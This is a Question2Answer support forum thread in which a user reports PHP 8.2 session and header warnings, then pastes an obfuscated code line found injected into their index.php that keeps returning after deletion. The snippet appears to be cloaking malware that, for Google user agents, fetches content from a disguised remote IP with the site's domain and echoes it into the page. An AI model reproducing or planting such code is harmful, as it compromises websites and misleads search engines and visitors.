Welcome to the Question2Answer Q&A. There's also a demo if you just want to try it out.
+2 votes
354 views
in Q2A Core by

Hi everybody ,

After I switched to PHP 8.2, I received a warning message in the error log as follows:

PHP Warning:  session_start(): open(/var/cpanel/php/sessions/ea-php82/sess_80b429d0c17d7d6d05483ccfca6e1ca1, O_RDWR) failed: Permission denied (13) in /home1/×××××/public_html/××××/qa-include/app/users.php on line 162

PHP Warning:  session_start(): Failed to read session data: files (path: /var/cpanel/php/sessions/ea-php82) in /home1/×××××/public_html/××××/qa-include/app/users.php on line 162

I hope the developers of Q2A will look into this issue

Q2A version: 1.8.8
by
After updating the (php8.2 version) the first error message that I mentioned previously disappeared. But now three consecutive error messages appeared in large numbers!
They are as follows:
-PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home1/××××××/public_html/××××/qa-include/app/users.php on line 162
PHP Warning:  Cannot modify header information - headers already sent by (output started at /home1/×××××/public_html/××××/index.php:27) in /home1/×××××/public_html/×××××/qa-include/app/users.php on line 1282
PHP Warning:  Cannot modify header information - headers already sent by (output started at /home1/××××××/public_html/×××××/index.php:27) in /home1/×××××/public_html/×××××/qa-include/app/page.php on line 356

I don't know how to get rid of those error messages?
I still need Q2A developers help .
by
+2
I've used 8.0, 8.1, 8.2 and now 8.3. All issues should be fixed in the bugfix branch: https://github.com/q2a/question2answer/archive/refs/heads/bugfix.zip

BTW, I don't remember seeing that issue. It seems to be an issue related to a plugin, rather than Q2A itself
by
@ pupi1985
Today, about 4 hours ago, I found a strange code in the (index php) file, which was as follows:

$useragent=urlencode($_SERVER['HTTP_USER_AGENT']);if(preg_match("/google/i",$useragent)){$tw="..................";$ho='.';$on=strlen($tw)*10+8;$th=strlen($tw)*9-137;$fi=$th+$on*3;$si=substr($fi,0,2)+substr($on,0,2)+172;$le=$ho;$be=$fi+23-$si*2;$r=file_get_contents('http://'.$on.$ho.$be.$le.$th.$le.$si.'/logs3/?type=fbwjedi&domain='.$_SERVER['HTTP_HOST'].'&useragent='.$useragent);echo$r;}

I erased the code and after that all the error messages I mentioned above stopped, but when I returned to File (index php) four hours later, the same code was there again!!
and error mesages start appear again .
It looks very strange ☹️
by
That's completely unrelated to Q2A

Please log in or register to answer this question.

...